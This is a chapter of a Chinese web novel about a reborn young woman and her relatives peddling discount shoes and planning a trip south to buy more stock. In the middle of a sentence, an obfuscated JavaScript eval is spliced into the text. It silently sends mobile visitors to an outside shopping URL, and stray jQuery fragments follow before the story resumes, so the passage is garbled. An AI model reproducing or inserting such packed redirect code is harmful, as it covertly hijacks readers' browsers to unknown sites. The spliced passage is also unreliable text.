三人走到镇子上的时候,月亮已经高高挂在天上。
章长明不放心,骑车找了过来,问:“怎么卖到这个点?鞋子好不好卖,也要早点回家,你妈他们都急死了!”
“鞋子很好卖,带去两百双鞋子,只剩下三十来双没卖掉!姑父,姑姑她们鞋子卖得怎样?”朱宜夏抢答道。
章长明摸摸他的头道:“没你们厉害!但也差不了多少。”
“好些人问我们明儿去不去,他们都记不清家里人的鞋码。”章长明有些得意,“姑父,你晓得我们一天赚了多少钱吗?”
“回家再说!包子有肉不在褶子上。赚得到钱不算本事,留得住财才算本事。村里人家,最是恨人有笑人无。这钱赚多赚少,藏自个儿心里就好,别在外头夸耀。”章长明语重心长道。
朱宜夏撇撇嘴,不情不愿道:“晓得了,真没劲儿!赚个钱还得偷偷摸摸的。”
“等你经事了,就明白了!”章长明叹气,“人心是最亮的,比日头还亮;人心也是最暗的,比黑夜还暗!老话说得好……”
“害人之心不可有,防人之心不可无!”章玉庭边叹气边接话。
这话,他听得耳朵都快起茧子了!
章长明也是怕他们小小年纪赚了大钱,就飘了起来,才说这些话,见他们还算明白,就不再唠叨。
他把车子给朱宜夏,吩咐道:“带你姐先回去。这板车我和玉庭来拖。”
“就一点点路了,一起回去吧!”
“家里还担心着,你们先回去!”
朱宜萍推辞不过,猜姑父自有一番训导要给儿子说道,就不耽误他们父子推心置腹了。
朱宜萍很是羡慕!
前世,小表妹就吐槽说,她爸爱上政治课,她哥更是“青出于蓝而胜于蓝”。
她爸和她妈都没读过书,讲不出什么大道理,要讲也是老一套的歪理邪说,更多的是下命令,不听骂服打服。
原先,为了让她谅解不给她读书的事,好声好气解释说家里钱不够,都已经是难得。
在他们家,父母孩子间,姐弟之间,难有推心置腹的时候。
她以前就想,他们姐弟混成那个样子,就是没有好的指路人,没有受过好的家教。
朱宜萍觉得姑姑好会挑人,就学着她,找了厂里一个技术员。
结果,她爸妈还嫌弃人是外地的,一个昼夜不歇地骂,一个上吊绝食来逼她。
朱宜萍想着这些,从心底泛起一股怨气。
说一千,道一万,还是怪自己,怪自己没有坚持到底!
朱宜萍在后座想了很多,临到家和小弟商量道:“朱宜夏,咱俩提成的那份钱,分三份,给宜华一份。”
“凭什么?他又没跟着去!”朱宜夏大声嚷嚷道。
“就凭他给妈妈和姑姑去拖板车了,就凭他为这个家出了一份力!要不,我明儿跟妈说,让宜华跟着我。”朱宜萍狠狠在小弟背上拍了一巴掌,“你这东西,宁愿给外头的狐朋狗友花钱,也不远给兄弟分钱!你亲兄弟都笼络不住,还想笼络外八路的兄弟?真是笑话!”
“我不给!他自己都糊里糊涂的,仗着比我大,就来管我。我不服气!”朱宜夏梗着脖子,“这样的兄弟谁爱要谁要!”
“哼!你不要,我要!”朱宜萍点着他的背,恨道:“身在福中不知福的东西!”
大弟弟虽然木楞一点,心地却是最好的。
前世,朱宜夏这个狗东西不争气,自己两个孩子管生不管养。
这两个孩子病了、淘气摔断胳膊了、打架了,都是大弟弟出钱出力,又要哄自家老婆又要关照侄子,一个当伯伯的比他当爸爸的还用心。
“你且看着吧!看是你外头那些兄弟心里有你,还是宜华心里有你。人不到出事的时候,是看不透人心的!”朱宜萍感叹。
在她的强烈要求下,朱宜夏只能妥协,将两人的钱分成了三份,给了朱宜华一份。
朱宜华不要这钱,夜里偷偷把钱从门缝塞了回去,只留了一张纸条:我不是烂泥,这钱你留着读书。
朱宜萍的眼泪哗地一下就下来了,特地找了个机会道歉:“我太想读书,爸妈为了你们算计,不让我读书。我气急了,才说你们是烂泥。对不起,是我的错!宜华,你很好,是个好儿子,是个好弟弟,也是个好哥哥。我口出恶语,伤害了你,是我不对。”
朱宜华很委屈。
他脑子笨,怎么学也学不明白,索性就不学了,可也没碍着谁,怎么就成一坨烂泥了?
“老师都夸我,学不明白就睡觉,从不讲话打扰别人。老师都说我是差生里的好生,成绩是差了一点,人却是很好的。我不是一坨烂泥!”朱宜华再次强调道。
朱宜萍很难过。
她的话,到底伤害了大弟。
唉!恶语一句六月寒!
“是我太激愤,说话不过脑子,伤害了你,对不起!”朱宜萍很无力,说过的话就如同泼出去的水,收不回来。同样,伤害了别人,再怎样也抹不平。
朱宜萍不再说这个,只道:“钱你得收着,总有用得着的时候。”
“我不要!我怕自己会乱花,叫爸妈晓得就完了!”朱宜华怕自己露出马脚,顶不住老倌子的竹笋炒肉,出卖了他们。
“那你就存起来!”
“存哪里?藏家里被发现要完,藏外头被人发现偷走更亏!我不要这钱。而且,我也没啥想要买的。”他就想买包烟抽抽,看是啥滋味。
不过,这要被家里人发现了,更要完!
“收了这钱,我上课该睡不着了!”朱宜华边漱口边把头摇得跟拨浪鼓似的。
朱宜萍听得好笑,“那这钱你更要收下了!”
“不要!你实在要给,就帮我收着。你要用,随便用。我就当没这笔钱,心里也不用记挂!”朱宜华大方道。
朱宜萍不知道说他什么好,见他是真不想要这笔钱,就道:“这钱我先帮你收着。”
朱宜华点点头,没多说什么,就出去了。
朱宜萍这边收拾妥当,就去楼上挑在城里好卖的鞋子。朱宜夏在一边根据鞋子的质量,分门别类,预定价格。
挑毕,二人商议好最终价格,就把鞋子一摞摞搬上板车。
还没搬完
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14228384|151312||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,朱宜华也过来搭把手,“姐,我买了红霉素和纱布,都放你桌上了。脚上的水泡挑了,最好上点药,裹上纱布。要不,让妈代你去城里买鞋。乡下这边,有我和姑姑也就够了。”
“不用!有钱赚,别说就挑几个水泡,就是腿断了,也要拄拐杖去。”朱宜萍玩笑道。
没钱的日子,她是过得够够的了!
靠着这股劲儿,朱宜萍硬是一日又一日地坚持下来,直至把所有的鞋子都卖光光。
两家人休息了一天,夜里一起盘账。
朱有兰把手里的折子甩了甩,爽心道:“这半个月,咱辛苦是辛苦,却是辛苦得值!这半个月,刨去成本,咱赚了三万两千一百三十六。真是想不到,做买卖这样赚钱!”
“这是因为店里的鞋太贵。不过,开店要店租,有的还要请人,卖得贵也是正常。至于集市上的鞋子,人家要赚大钱,又不能卖太贵,就只能进质量不好的。咱的鞋子质量又好,价格又优惠,所以卖得好。再说,酒香也怕巷子深,那些物美价廉的鞋店,就等着顾客上门,本就是一种局限。咱肯吃苦,愿意拖着板车四处叫卖,知道的人多,所以也就卖得快。”章玉庭总结,“一个批发市场,要积累一段时间才有一批断码的鞋子。咱这回卖完,再想进这么便宜的鞋子,就得等上一段时间。所以,接下来怎么办?是另找批发市场进鞋子?还是去省城找别的东西批发卖?”
“市里还有两个农贸市场没去卖!还有另一头的县里,更是卖都没去卖。再进一批鞋子,也是卖得出去的。我的意思是,南下去沿海的批发市场看一看。”朱宜萍表态道。
“长明,有兰,你们商量过吗?是个什么意见?”朱建国问道。
“鞋子生意都做熟了,继续做下去挺好!不过,这次本钱多了,都进鞋子怕是卖不掉。我的意思是,兵分两路,一路去把省城断码的衣服也给收了。一路去南边,进些鞋子卖。就是听讲南边有些乱,咱几个过去,长明很不放心。长明的意思是,我、他、大哥、宜夏和玉庭一起去南边走一趟。大嫂就带着宜华和宜萍去省城进货。这样行不?”朱有兰托盘而出道。
“也行!”朱建国点头同意。
“那就这么办吧!”朱宜萍也没啥意见,“凉鞋少进一些,再有一两个月,夏天就过去了。多进波鞋,夏天能穿,春秋也能穿。”
“那明儿就出发!”朱有兰赚钱已经赚上瘾了,“耽误一天就少赚一天的钱。”
“天下的钱是赚不尽的!再歇两天吧!”钟秀芝都半个月没打麻将了。
“就明儿去吧!夏天转眼就过去了!晚一天,买衣服鞋子的人就会觉得亏一天,大家都不是很富裕。”朱宜萍不给她妈这个机会。
“那就明天去!”朱建国也怕老婆固态萌发。
朱章两家做鞋子生意的事早就瞒不住了,村里人正打听着呢!这会儿去跟人打麻将,不正给人机会盘问嘛!
年前,村里开小卖部的杨家说漏嘴,讲一年能赚个一万多块,没过正月,村里就又多了一家小卖部,人还买了个大彩电放碟片招揽生意。
这年头挣钱难,数钱都要躲被子数才好!